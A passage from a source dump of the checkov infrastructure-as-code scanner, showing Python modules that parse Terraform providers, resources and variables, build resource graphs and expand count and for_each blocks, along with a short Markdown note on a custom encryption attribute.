"provider" super().__init__(definition_type=definition_type) def get_entity_context_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]: entity_type, entity_value = next(iter(entity_block.items())) return [entity_type, entity_value.get("alias", ["default"])[0]] def get_entity_definition_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]: entity_type, _ = next(iter(entity_block.items())) return [entity_type] def enrich_definition_block(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]: for entity_block in definition_blocks: entity_type, entity_config = next(iter(entity_block.items())) entity_name = entity_config.get("alias", ["default"])[0] self.context[entity_type][entity_name] = { "start_line": entity_config[START_LINE], "end_line": entity_config[END_LINE], "code_lines": self.file_lines[entity_config[START_LINE] - 1: entity_config[END_LINE]], } return self.context def _is_block_signature(self, line_num: int, line_tokens: List[str], entity_context_path: List[str]) -> bool: # Ignore the alias as it is not part of the signature is_provider = super()._is_block_signature(line_num, line_tokens, entity_context_path[0:-1]) if not is_provider or "=" in line_tokens or line_tokens[0] != "provider": if not all(bracket in line_tokens for bracket in ("{", "}")): # The line provider = alias is not a provider block although it has the correct words # Also skips comments that include words like provider and aws return False end_line = self._compute_definition_end_line(line_num) provider_type = entity_context_path[0] try: provider_obj = hcl2.loads( "\n".join( map(lambda obj: obj[1], self.file_lines[line_num - 1 : end_line if end_line > line_num else line_num]) ) )["provider"][0] except Exception as e: logging.info(f'got exception while loading file {self.tf_file}\n {e}') return False alias = provider_obj[provider_type].get("alias", ["default"]) return super()._is_block_signature(line_num, line_tokens + alias, entity_context_path) parser = ProviderContextParser() ================================================ FILE: checkov/terraform/context_parsers/parsers/resource_context_parser.py ================================================ from typing import Dict, Any, List from hcl2 import END_LINE, START_LINE from checkov.terraform.context_parsers.base_parser import BaseContextParser class ResourceContextParser(BaseContextParser): def __init__(self) -> None: definition_type = "resource" super().__init__(definition_type=definition_type) def get_entity_context_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]: entity_type = next(iter(entity_block.keys())) entity_name = next(iter(entity_block[entity_type])) return [entity_type, entity_name] def enrich_definition_block(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]: for entity_block in definition_blocks: entity_type, entity_value = next(iter(entity_block.items())) entity_name, entity_config = next(iter(entity_value.items())) if isinstance(entity_config[START_LINE], list) and isinstance(entity_config[END_LINE], list): entity_config[START_LINE] = entity_config[START_LINE][0] entity_config[END_LINE] = entity_config[END_LINE][0] self.context[entity_type][entity_name] = { "start_line": entity_config[START_LINE], "end_line": entity_config[END_LINE], "code_lines": self.file_lines[entity_config[START_LINE] - 1: entity_config[END_LINE]], } return self.context parser = ResourceContextParser() ================================================ FILE: checkov/terraform/context_parsers/parsers/variable_context_parser.py ================================================ from typing import Dict, Any, List import dpath from hcl2 import START_LINE, END_LINE from checkov.terraform.context_parsers.base_parser import BaseContextParser class VariableContextParser(BaseContextParser): def __init__(self) -> None: definition_type = "variable" super().__init__(definition_type=definition_type) def _collect_default_variables_values(self, variable_block: Dict[str, Dict[str, Any]]) -> None: for variable_name, values in variable_block.items(): default_value = values.get("default") if ( isinstance(default_value, list) and len(default_value) == 1 and type(default_value[0]) in (int, float, bool, str) ): dpath.new(self.context, ["assignments", variable_name], default_value[0]) def get_entity_context_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]: entity_name = next(iter(entity_block.keys())) return [entity_name] def enrich_definition_block(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]: for entity_block in definition_blocks: entity_name, entity_config = next(iter(entity_block.items())) self.context[entity_name] = { "start_line": entity_config[START_LINE], "end_line": entity_config[END_LINE], "code_lines": self.file_lines[entity_config[START_LINE] - 1: entity_config[END_LINE]], } if isinstance(entity_block, dict): self._collect_default_variables_values(entity_block) return self.context parser = VariableContextParser() ================================================ FILE: checkov/terraform/context_parsers/registry.py ================================================ from __future__ import annotations import logging from typing import Dict, TYPE_CHECKING, Tuple, List, Any import dpath from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.terraform.modules.module_objects import TFDefinitionKey if TYPE_CHECKING: from checkov.terraform.context_parsers.base_parser import BaseContextParser class ParserRegistry: context_parsers: Dict[str, "BaseContextParser"] = {} # noqa: CCE003 definitions_context: Dict[TFDefinitionKey, Dict[str, Dict[str, Any]]] = {} # noqa: CCE003 def __init__(self) -> None: self.logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(self.logger) def register(self, parser: "BaseContextParser") -> None: self.context_parsers[parser.definition_type] = parser def reset_definitions_context(self) -> None: self.definitions_context = {} def enrich_definitions_context( self, definitions: Tuple[TFDefinitionKey, Dict[str, List[Dict[str, Any]]]], collect_skip_comments: bool = True ) -> Dict[TFDefinitionKey, Dict[str, Dict[str, Any]]]: supported_definitions = [parser_type for parser_type in self.context_parsers.keys()] (tf_definition_key, definition_blocks_types) = definitions if definition_blocks_types: definition_blocks_types = {x: definition_blocks_types[x] for x in definition_blocks_types.keys()} for definition_type in definition_blocks_types.keys(): if definition_type in supported_definitions: dpath.new(self.definitions_context, [tf_definition_key, definition_type], {}) context_parser = self.context_parsers[definition_type] definition_blocks = definition_blocks_types[definition_type] self.definitions_context[tf_definition_key][definition_type] = \ context_parser.run(tf_definition_key, definition_blocks, collect_skip_comments) return self.definitions_context parser_registry = ParserRegistry() ================================================ FILE: checkov/terraform/context_parsers/tf_plan/__init__.py ================================================ from __future__ import annotations import logging from typing import Any from checkov.cloudformation.parser.cfn_yaml import ContentType from checkov.cloudformation.parser import cfn_yaml from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger LOGGER = logging.getLogger(__name__) add_resource_code_filter_to_logger(LOGGER) def parse( filename: str, out_parsing_errors: dict[str, str] ) -> tuple[dict[str, Any], list[tuple[int, str]]] | tuple[None, None]: """ Decode filename into an object """ logging.debug(f"[tf_plan] - Parsing file {filename}") try: template, template_lines = cfn_yaml.load(filename, ContentType.TFPLAN) except Exception as e: logging.debug(f"[tf_plan] - Failed to parse file {filename}", exc_info=True) out_parsing_errors[filename] = str(e) return None, None if ( template is not None and isinstance(template, dict) and 'terraform_version' in template and 'planned_values' in template ): logging.debug(f"[tf_plan] - Successfully parsed file {filename}") return template, template_lines logging.debug(f"[tf_plan] - Missing required fields in file {filename}") return None, None ================================================ FILE: checkov/terraform/deep_analysis_plan_graph_manager.py ================================================ import logging from checkov.common.graph.graph_builder import CustomAttributes from checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.common.output.report import Report from checkov.terraform.plan_parser import TF_PLAN_RESOURCE_ADDRESS from typing import Dict, Tuple, Optional class DeepAnalysisGraphManager: def __init__(self, tf_graph: TerraformLocalGraph, tf_plan_graph: TerraformLocalGraph) -> None: self.tf_graph: TerraformLocalGraph = tf_graph self.tf_plan_graph: TerraformLocalGraph = tf_plan_graph self._address_to_tf_idx_and_vertex_map: Dict[str, Tuple[int, TerraformBlock]] = {} self._address_to_tf_plan_idx_and_vertex_map: Dict[str, Tuple[int, TerraformBlock]] = {} self._apply_address_mapping() def _apply_address_mapping(self) -> None: self._address_to_tf_idx_and_vertex_map = { vertex.attributes[TF_PLAN_RESOURCE_ADDRESS]: (i, vertex) for i, vertex in enumerate(self.tf_graph.vertices) if vertex.block_type == BlockType.RESOURCE } self._address_to_tf_plan_idx_and_vertex_map = { vertex.attributes[TF_PLAN_RESOURCE_ADDRESS]: (i, vertex) for i, vertex in enumerate(self.tf_plan_graph.vertices) if vertex.block_type == BlockType.RESOURCE } def _get_tf_vertex_idx_from_tf_plan_vertex(self, v: TerraformBlock) -> Optional[int]: vertex = self._address_to_tf_idx_and_vertex_map.get(v.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS, '')) if vertex is None: return None return vertex[0] def append_vertex_to_terraform_graph(self, tf_plan_vertex: TerraformBlock, tf_plan_vertex_index: int, address: str) -> None: new_vertex_idx = len(self.tf_graph.vertices) self.tf_graph.vertices.append(tf_plan_vertex) self._address_to_tf_idx_and_vertex_map[address] = (new_vertex_idx, tf_plan_vertex) for edge in self.tf_plan_graph.out_edges[tf_plan_vertex_index]: dest = self.tf_plan_graph.vertices[edge.dest] dest_index = self._get_tf_vertex_idx_from_tf_plan_vertex(dest) if dest_index: self.tf_graph.create_edge(new_vertex_idx, dest_index, edge.label) for edge in self.tf_plan_graph.in_edges[tf_plan_vertex_index]: origin = self.tf_plan_graph.vertices[edge.origin] origin_index = self._get_tf_vertex_idx_from_tf_plan_vertex(origin) if origin_index: self.tf_graph.create_edge(origin_index, new_vertex_idx, edge.label) def enrich_tf_graph_attributes(self) -> None: for address, tf_plan_idx_and_vertex in self._address_to_tf_plan_idx_and_vertex_map.items(): tf_plan_vertex_index, tf_plan_vertex = tf_plan_idx_and_vertex tf_idx_and_vertex = self._address_to_tf_idx_and_vertex_map.get(address) if not tf_idx_and_vertex: logging.info(f'Cant find this address: {address} in tf graph, adding it') self.append_vertex_to_terraform_graph(tf_plan_vertex, tf_plan_vertex_index, address) continue _, tf_vertex = tf_idx_and_vertex tf_vertex.attributes = {**tf_vertex.attributes, **tf_plan_vertex.attributes} tf_vertex.path = tf_plan_vertex.path def filter_report(self, report: Report) -> None: report.failed_checks = [check for check in report.failed_checks if check.resource_address in self._address_to_tf_plan_idx_and_vertex_map] report.passed_checks = [check for check in report.passed_checks if check.resource_address in self._address_to_tf_plan_idx_and_vertex_map] report.skipped_checks = [check for check in report.skipped_checks if check.resource_address in self._address_to_tf_plan_idx_and_vertex_map] # No need to filter other fields for now report.resources = set() report.extra_resources = set() report.parsing_errors = [] ================================================ FILE: checkov/terraform/evaluation/__init__.py ================================================ ================================================ FILE: checkov/terraform/evaluation/base_variable_evaluation.py ================================================ from abc import ABC, abstractmethod import logging import os import re from typing import Tuple, Dict, Any, List import dpath from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger TF_DEFINITIONS_STRIP_WORDS = re.compile(r"\b(?!\d)([^\/]+)") NON_PATH_WORDS_REGEX = re.compile(r"\b(?!output)[^ .]+") DEFINITION_TYPES_REGEX_MAPPING = {"variable": "var", "locals": "local"} class BaseVariableEvaluation(ABC): def __init__( self, root_folder: str, tf_definitions: Dict[str, Dict[str, Any]], definitions_context: Dict[str, Dict[str, Any]], ) -> None: self.logger = logging.getLogger("{}".format(self.__module__)) add_resource_code_filter_to_logger(self.logger) self.root_folder = root_folder self.tf_definitions = tf_definitions self.definitions_context = definitions_context @abstractmethod def evaluate_variables(self) -> Any: """ evaluate variables of tf_definitions entities :return: """ raise NotImplementedError() @staticmethod def extract_context_path(definition_path: str) -> Tuple[str, str]: """ Converts a JSONPath (dpath library standard) definition entry path into valid context parser path :param definition_path: entity's JSONPath syntax path in tf_definitions :return:entity path in context parser """ return os.path.split("/".join(re.findall(TF_DEFINITIONS_STRIP_WORDS, definition_path))) @staticmethod def reduce_entity_evaluations( variables_evaluations: Dict[str, Dict[str, Any]], entity_context_path: List[str] ) -> Dict[str, Any]: """ Reduce variable evaluations only to variables that are included in the entity's code block :param variables_evaluations: :param entity_context_path: :return: the variable evaluations of the entity """ entity_evaluations: Dict[str, Any] = {} for var_name, variable_evaluations in variables_evaluations.items(): entity_definitions = [] for var_definition in variable_evaluations["definitions"]: var_context_path, _ = BaseVariableEvaluation.extract_context_path(var_definition["definition_path"]) variable_context_path = var_context_path.split("/") # This is due to inconsistency in order of Terraform entity naming conventions if set(variable_context_path) == set(entity_context_path): entity_definitions.append(var_definition) if entity_definitions: entity_evaluation = variables_evaluations[var_name] entity_evaluation["definitions"] = entity_definitions dpath.new(entity_evaluations, var_name, entity_evaluation) return entity_evaluations ================================================ FILE: checkov/terraform/graph_builder/EncryptionCalculation.md ================================================ # Custom Encryption Attribute Calculation When building queries, we noticed we were constantly asking a common question - _Is the resource encrypted?_ To avoid having to know the correct configuration of each resource, and to make queries more concise, we decided to add `encryption` as a custom attribute to the relevant resource types. You can skip directly to: 1. [Overview](#overview) 2. [Example usage](#example-usage) 3. [Contributing](#contributing-to-extend-coverage) ## Overview To support the different configurations of the different terraform resources with encryption, we've created 2 important objects defined [here](./graph_components/generic_resource_encryption.py): 1. `GenericResourceEncryption` - this class executes the configuration logic based on the constructor parameters to decide whether the resource is encrypted or not. 2. `ENCRYPTION_BY_RESOURCE_TYPE` - a map of >. This means that for every resource type (i.e. `aws_s3_bucket`, `aws_rds_cluster` etc) there's either an entry in this map or there isn't. If there is an entry - the GenericResourceEncryption class will decide whether it is encrypted according to the [calculation logic](#calculation-logic). If there is no entry - the attribute will not exist for that resource type. ### Calculation Logic ENCRYPTION_BY_RESOURCE_TYPE receives as a second parameter a dict, consisting of the attribute paths as keys & the possible matching values as value list, i.e.: ```python { "encrypt_at_rest.enabled": [True], "kms_key_id": [], "node_to_node_encryption.enabled": [True] } ``` Please note the empty list is supported - it means ANY. So in the case above, if the attribute `kms_key_id` exists in the resource it will be marked as encrypted, no matter what the actual value is for `kms_key_id`. However, we do expect `encrypt_at_rest.enabled` to be set to `True` - otherwise it will be marked as unencrypted. ##Example Usage This field can be leveraged in policies, i.e. query the field `encryption_` for the strings "ENCRYPTED" / "UNENCRYPTED". Example [query](../../../tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/EncryptedResources.yaml), and the expected resources can be found in the matching [test-case on line 22 here](../../../tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/test_solver.py). ## Contributing to Extend Coverage To add support for a new resource type, for example `foo_bar`, a new entry needs to be added to `ENCRYPTION_BY_RESOURCE_TYPE`, which maps the resource type string to an instance of `GenericResourceEncryption`. The constructor first parameter is the resource type, and the second is the dict as described in the [calculation logic](#calculation-logic) ================================================ FILE: checkov/terraform/graph_builder/__init__.py ================================================ ================================================ FILE: checkov/terraform/graph_builder/foreach/__init__.py ================================================ ================================================ FILE: checkov/terraform/graph_builder/foreach/abstract_handler.py ================================================ from __future__ import annotations import abc import json import re import typing from typing import Any from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.common.util.env_vars_config import env_vars_config from checkov.terraform.graph_builder.foreach.consts import COUNT_STRING, FOREACH_STRING, COUNT_KEY, EACH_VALUE, \ EACH_KEY, REFERENCES_VALUES from checkov.terraform.graph_builder.foreach.utils import append_virtual_resource from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock from checkov.terraform.graph_builder.variable_rendering.evaluate_terraform import evaluate_terraform from checkov.terraform.graph_builder.variable_rendering.renderer import TerraformVariableRenderer if typing.TYPE_CHECKING: from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph class ForeachAbstractHandler: def __init__(self, local_graph: TerraformLocalGraph) -> None: self.local_graph = local_graph @abc.abstractmethod def handle(self, resources_blocks: list[int]) -> None: pass @abc.abstractmethod def _create_new_foreach_resource(self, block_idx: int, foreach_idx: int, main_resource: TerraformBlock, new_key: int | str, new_value: int | str) -> str | None: pass @abc.abstractmethod def _create_new_resources_count(self, statement: int, block_idx: int) -> None: pass def _create_new_resources_foreach(self, statement: list[str] | dict[str, Any], block_idx: int) -> None: main_resource = self.local_graph.vertices[block_idx] virtual_resources_names: list[str] = [] if isinstance(statement, list): for i, new_value in enumerate(statement): append_virtual_resource( self._create_new_foreach_resource(block_idx, i, main_resource, new_key=new_value, new_value=new_value), virtual_resources_names) if isinstance(statement, dict): for i, (new_key, new_value) in enumerate(statement.items()): append_virtual_resource( self._create_new_foreach_resource(block_idx, i, main_resource, new_key, new_value), virtual_resources_names) if env_vars_config.RAW_TF_IN_GRAPH_ENV: main_resource.config[CustomAttributes.VIRTUAL_RESOURCES] = virtual_resources_names self.local_graph.vertices.append(main_resource) @staticmethod def _render_sub_graph(sub_graph: TerraformLocalGraph, blocks_to_render: list[int]) -> None: renderer = TerraformVariableRenderer(sub_graph) renderer.vertices_index_to_render = blocks_to_render renderer.render_variables_from_local_graph() def _build_sub_graph(self, blocks_to_render: list[int]) -> TerraformLocalGraph: from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph sub_graph = TerraformLocalGraph(self.local_graph.module) sub_graph.vertices = [{}] * len(self.local_graph.vertices) # type:ignore[list-item] # are correctly set in the next lines for i, block in enumerate(self.local_graph.vertices): if not (block.block_type == BlockType.RESOURCE and i not in blocks_to_render): sub_graph.vertices[i] = pickle_deepcopy(block) sub_graph.edges = [ edge for edge in self.local_graph.edges if (sub_graph.vertices[edge.dest] and sub_graph.vertices[edge.origin]) ] sub_graph.in_edges = self.local_graph.in_edges sub_graph.out_edges = self.local_graph.out_edges return sub_graph @staticmethod def _pop_foreach_attrs(attrs: dict[str, Any]) -> None: attrs.pop(COUNT_STRING, None) attrs.pop(FOREACH_STRING, None) @staticmethod def __update_str_attrs(attrs: dict[str, Any], key_to_change: str, val_to_change: str | dict[str, Any], k: str) -> bool: if key_to_change not in attrs[k]: return False if attrs[k] == "${" + key_to_change + "}": attrs[k] = val_to_change return True elif f"{key_to_change}." in attrs[k] and isinstance(val_to_change, dict): key = attrs[k].replace("}", "").split('.')[-1] attrs[k] = val_to_change.get(key) return True else: attrs[k] = attrs[k].replace("${" + key_to_change + "}", str(val_to_change)) attrs[k] = attrs[k].replace(key_to_change, str(val_to_change)) return True @staticmethod def _build_key_to_val_changes(main_resource: TerraformBlock, new_val: str | int, new_key: str | int | None) \ -> dict[str, str | int | None]: if main_resource.attributes.get(COUNT_STRING): return {COUNT_KEY: new_val} return { EACH_VALUE: new_val, EACH_KEY: new_key } def _update_foreach_attrs(self, config_attrs: dict[str, Any], key_to_val_changes: dict[str, Any], new_resource: TerraformBlock) -> None: self._pop_foreach_attrs(new_resource.attributes) self._pop_foreach_attrs(config_attrs) self._update_attributes(new_resource.attributes, key_to_val_changes) foreach_attrs = self._update_attributes(config_attrs, key_to_val_changes) new_resource.foreach_attrs = foreach_attrs def _update_attributes(self, attrs: dict[str, Any], key_to_val_changes: dict[str, Any]) -> list[str]: foreach_attributes: list[str] = [] for key_to_change, val_to_change in key_to_val_changes.items(): for k, v in attrs.items(): v_changed = False if isinstance(v, str): v_changed = self.__update_str_attrs(attrs, key_to_change, val_to_change, k) elif isinstance(v, dict): nested_attrs = self._update_attributes(v, {key_to_change: val_to_change}) foreach_attributes.extend([k + '.' + na for na in nested_attrs]) elif isinstance(v, list) and len(v) == 1 and isinstance(v[0], dict): nested_attrs = self._update_attributes(v[0], {key_to_change: val_to_change}) foreach_attributes.extend([k + '.' + na for na in nested_attrs]) elif isinstance(v, list) and len(v) == 1 and isinstance(v[0], str) and key_to_change in v[0]: if attrs[k][0] == "${" + key_to_change + "}": attrs[k][0] = val_to_change v_changed = True elif f"{key_to_change}." in attrs[k][0] and isinstance(val_to_change, dict): for inner_key, inner_value in val_to_change.items(): str_to_replace = f"{key_to_change}.{inner_key}" if str_to_replace in attrs[k][0]: dollar_wrapped_str_to_replace = "${" + str_to_replace + "}" if attrs[k][0] == dollar_wrapped_str_to_replace: attrs[k][0] = inner_value v_changed = True # Since we assigned a value to attrs[k][0] we don't need to check the value again for # interpolations to replace, we can break out of the loop break elif dollar_wrapped_str_to_replace in attrs[k][0]: str_to_replace = dollar_wrapped_str_to_replace attrs[k][0] = attrs[k][0].replace(str_to_replace, str(inner_value)) v_changed = True else: attrs[k][0] = attrs[k][0].replace("${" + key_to_change + "}", str(val_to_change)) if self.need_to_add_quotes(attrs[k][0], key_to_change): attrs[k][0] = attrs[k][0].replace(key_to_change, f'"{str(val_to_change)}"') else: attrs[k][0] = attrs[k][0].replace(key_to_change, str(val_to_change)) v_changed = True elif isinstance(v, list) and len(v) == 1 and isinstance(v[0], list): for i, item in enumerate(v): if isinstance(item, str) and (key_to_change in item or "${" + key_to_change + "}" in item): if v[i] == "${" + key_to_change + "}": v[i] = val_to_change v_changed = True else: v[i] = item.replace("${" + key_to_change + "}", str(val_to_change)) v[i] = v[i].replace(key_to_change, str(val_to_change)) v_changed = True if v_changed: foreach_attributes.append(k) return foreach_attributes @staticmethod def _update_block_name_and_id(block: TerraformBlock, idx: int | str) -> str: # Note it is important to use `\"` inside the string, # as the string `["` is the separator for `foreach` in terraform. # In `count` it is just `[` idx_with_separator = f'\"{idx}\"' if isinstance(idx, str) else f'{idx}' new_block_id = f"{block.id}[{idx_with_separator}]" new_block_name = f"{block.name}[{idx_with_separator}]" if block.block_type == BlockType.MODULE: block.config[new_block_name] = block.config.pop(block.name) block.id = new_block_id block.name = new_block_name return idx_with_separator def _handle_static_statement(self, block_index: int, sub_graph: TerraformLocalGraph | None = None) -> \ list[str] | dict[str, Any] | int | None: attrs = self.local_graph.vertices[block_index].attributes if not sub_graph \ else sub_graph.vertices[block_index].attributes foreach_statement = attrs.get(FOREACH_STRING) count_statement = attrs.get(COUNT_STRING) if foreach_statement: return self._handle_static_foreach_statement(foreach_statement) if count_statement: return self._handle_static_count_statement(count_statement) return None def _handle_static_foreach_statement(self, statement: list[str] | dict[str, Any]) \ -> list[str] | dict[str, Any] | None: if isinstance(statement, list): statement = self.extract_from_list(statement) evaluated_statement = evaluate_terraform(statement) if isinstance(evaluated_statement, str): try: evaluated_statement = json.loads(evaluated_statement) except ValueError: pass if isinstance(evaluated_statement, set): evaluated_statement = list(evaluated_statement) if isinstance(evaluated_statement, (dict, list)) and all(isinstance(val, str) for val in evaluated_statement): return evaluated_statement return None def _handle_static_count_statement(self, statement: list[str] | int) -> int | None: if isinstance(statement, list): statement = self.extract_from_list(statement) evaluated_statement = evaluate_terraform(statement) if isinstance(evaluated_statement, int): return evaluated_statement return None def _is_static_foreach_statement(self, statement: str | list[str] | dict[str, Any]) -> bool: if isinstance(statement, list): if len(statement) == 1 and not statement[0]: return True statement = self.extract_from_list(statement) if isinstance(statement, str) and re.search(REFERENCES_VALUES, statement): return False if isinstance(statement, (list, dict)): result = True for s in statement: result &= self._is_static_foreach_statement(s) return result return True def _is_static_count_statement(self, statement: list[str] | int) -> bool: if isinstance(statement, list): statement = self.extract_from_list(statement) if isinstance(statement, int): return True if isinstance(statement, str) and not re.search(REFERENCES_VALUES, statement): return True return False def _is_static_statement(self, block_index: int, sub_graph: TerraformLocalGraph | None = None) -> bool: """ foreach statement can be list/map of strings or map, if its string we need to render it for sure. """ block = self.local_graph.vertices[block_index] if not sub_graph else sub_graph.vertices[block_index] foreach_statement = evaluate_terraform(block.attributes.get(FOREACH_STRING)) count_statement = evaluate_terraform(block.attributes.get(COUNT_STRING)) if foreach_statement: return self._is_static_foreach_statement(foreach_statement) if count_statement: return self._is_static_count_statement(count_statement) return False @staticmethod def extract_from_list(val: Any) -> Any: return val[0] if len(val) == 1 and isinstance(val[0], (str, int, list)) else val @staticmethod def need_to_add_quotes(code: str, key: str) -> bool: if "lower" in code or "upper" in code: patterns = (r'lower\(' + key + r'\)', r'upper\(' + key + r'\)') for pattern in patterns: if re.search(pattern, code): return True if f'[{key}]' in code: return True return False ================================================ FILE: checkov/terraform/graph_builder/foreach/builder.py ================================================ from __future__ import annotations import typing from checkov.terraform.graph_builder.foreach.data_handler import ForeachDataHandler from checkov.terraform.graph_builder.foreach.module_handler import ForeachModuleHandler from checkov.terraform.graph_builder.foreach.resource_handler import ForeachResourceHandler from checkov.terraform.graph_builder.graph_components.block_types import BlockType if typing.TYPE_CHECKING: from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph class ForeachBuilder: def __init__(self, local_graph: TerraformLocalGraph): self._resource_handler = ForeachResourceHandler(local_graph) self._module_handler = ForeachModuleHandler(local_graph) self._data_handler = ForeachDataHandler(local_graph) def handle(self, foreach_blocks: dict[str, list[int]]) -> None: """ First Data blocks that Modules can inherit from are handled. Second, Module blocks are handled. Last Resource blocks that can be duplicate by the Modules rendering. """ if self._data_handler.local_graph.enable_datas_foreach_handling: if foreach_blocks.get(BlockType.DATA): self._data_handler.handle(foreach_blocks[BlockType.DATA]) self._data_handler.local_graph._arrange_graph_data() self._data_handler.local_graph._build_edges() if self._module_handler.local_graph.enable_modules_foreach_handling: if foreach_blocks.get(BlockType.MODULE): self._module_handler.handle(foreach_blocks[BlockType.MODULE]) if self._module_handler.local_graph.enable_foreach_handling: self._resource_handler.handle(foreach_blocks.get(BlockType.RESOURCE, [])) ================================================ FILE: checkov/terraform/graph_builder/foreach/consts.py ================================================ from __future__ import annotations from typing import Optional, Any, TYPE_CHECKING if TYPE_CHECKING: from typing_extensions import TypeAlias FOREACH_STRING = 'for_each' COUNT_STRING = 'count' REFERENCES_VALUES = r"(var|module|local)\." FOR_EACH_BLOCK_TYPE: TypeAlias = "dict[int, Optional[list[str] | dict[str, Any] | int]]" COUNT_KEY = 'count.index' EACH_KEY = 'each.key' EACH_VALUE = 'each.value' VIRTUAL_RESOURCE = 'virtual_resource' ================================================ FILE: checkov/terraform/graph_builder/foreach/data_handler.py ================================================ from __future__ import annotations from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.foreach.foreach_entity_handler import ForeachEntityHandler from typing import TYPE_CHECKING if TYPE_CHECKING: from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph class ForeachDataHandler(ForeachEntityHandler): def __init__(self, local_graph: TerraformLocalGraph) -> None: super().__init__(local_graph, BlockType.DATA) ================================================ FILE: checkov/terraform/graph_builder/foreach/foreach_entity_handler.py ================================================ from __future__ import annotations import logging from typing import Any, Optional, TYPE_CHECKING from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.common.util.env_vars_config import env_vars_config from checkov.terraform.graph_builder.foreach.abstract_handler import ForeachAbstractHandler from checkov.terraform.graph_builder.foreach.consts import FOR_EACH_BLOCK_TYPE, FOREACH_STRING, COUNT_STRING from checkov.terraform.graph_builder.foreach.utils import append_virtual_resource from checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock if TYPE_CHECKING: from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph class ForeachEntityHandler(ForeachAbstractHandler): def __init__(self, local_graph: TerraformLocalGraph, block_type_to_handle: str) -> None: super().__init__(local_graph) self.block_type_to_handle = block_type_to_handle def handle(self, resources_blocks: list[int]) -> None: block_index_to_statement: FOR_EACH_BLOCK_TYPE = self._get_statements(resources_blocks) self._create_new_resources(block_index_to_statement) def _get_statements(self, resources_blocks: list[int]) -> FOR_EACH_BLOCK_TYPE: if not resources_blocks: return {} block_index_to_statement: FOR_EACH_BLOCK_TYPE = {} for block_index, block in enumerate(self.local_graph.vertices): if block.block_type != self.block_type_to_handle or not ( FOREACH_STRING in block.attributes or COUNT_STRING in block.attributes): continue foreach_statement = self._get_static_foreach_statement(block_index) block_index_to_statement[block_index] = foreach_statement blocks_to_render = [block_idx for block_idx, statement in block_index_to_statement.items() if statement is None] if blocks_to_render: rendered_statements: FOR_EACH_BLOCK_TYPE = self._handle_dynamic_statement(blocks_to_render) block_index_to_statement.update(rendered_statements) return block_index_to_statement def _get_static_foreach_statement(self, block_index: int) -> Optional[list[str] | dict[str, Any] | int]: attributes = self.local_graph.vertices[block_index].attributes if not attributes.get(FOREACH_STRING) and not attributes.get(COUNT_STRING): return None try: if self._is_static_statement(block_index): return self._handle_static_statement(block_index) else: return None except Exception as e: logging.info( f"Cannot get foreach statement for block: {self.local_graph.vertices[block_index]}, error: {str(e)}") return None def _handle_dynamic_statement(self, blocks_to_render: list[int]) -> FOR_EACH_BLOCK_TYPE: rendered_statements_by_idx: FOR_EACH_BLOCK_TYPE = {} sub_graph = self._build_sub_graph(blocks_to_render) self._render_sub_graph(sub_graph, blocks_to_render) for block_idx in blocks_to_render: if not self._is_static_statement(block_idx, sub_graph): rendered_statements_by_idx[block_idx] = None else: rendered_statements_by_idx[block_idx] = self._handle_static_statement(block_idx, sub_graph) return rendered_statements_by_idx def _create_new_resources_count(self, statement: int, block_idx: int) -> None: main_resource = self.local_graph.vertices[block_idx] virtual_resources_names: list[str] = [] for i in range(statement): append_virtual_resource(self._create_new_resource(main_resource, i, resource_idx=block_idx, foreach_idx=i), virtual_resources_names) if env_vars_config.RAW_TF_IN_GRAPH_ENV: main_resource.config[CustomAttributes.VIRTUAL_RESOURCES] = virtual_resources_names self.local_graph.vertices.append(main_resource) def _create_new_foreach_resource(self, block_idx: int, foreach_idx: int, main_resource: TerraformBlock, new_key: int | str, new_value: int | str) -> str | None: return self._create_new_resource(main_resource, new_value, new_key=new_key, resource_idx=block_idx, foreach_idx=foreach_idx) def _create_new_resource( self, main_resource: TerraformBlock, new_value: int | str, resource_idx: int, foreach_idx: int, new_key: int | str | None = None, ) -> str | None: new_resource = pickle_deepcopy(main_resource) block_type, block_name = new_resource.name.split('.') key_to_val_changes = self._build_key_to_val_changes(main_resource, new_value, new_key) config_attrs = new_resource.config.get(block_type, {}).get(block_name, {}) self._update_foreach_attrs(config_attrs, key_to_val_changes, new_resource) idx_to_change = new_key or new_value self._add_index_to_resource_block_properties(new_resource, idx_to_change) if foreach_idx == 0: self.local_graph.vertices[resource_idx] = new_resource else: self.local_graph.vertices.append(new_resource) if env_vars_config.RAW_TF_IN_GRAPH_ENV: return new_resource.name return None @staticmethod def _add_index_to_resource_block_properties(block: TerraformBlock, idx: str | int) -> None: block_type, block_name = block.name.split('.') idx_with_separator = ForeachEntityHandler._update_block_name_and_id(block, idx) if block.config.get(block_type) and block.config.get(block_type, {}).get(block_name): block.config[block_type][f"{block_name}[{idx_with_separator}]"] = block.config[block_type].pop(block_name) def _create_new_resources(self, block_index_to_statement: FOR_EACH_BLOCK_TYPE) -> None: for block_idx, statement in block_index_to_statement.items(): if not statement: continue if isinstance(statement, int): self._create_new_resources_count(statement, block_idx) else: self._create_new_resources_foreach(statement, block_idx) ================================================ FILE: 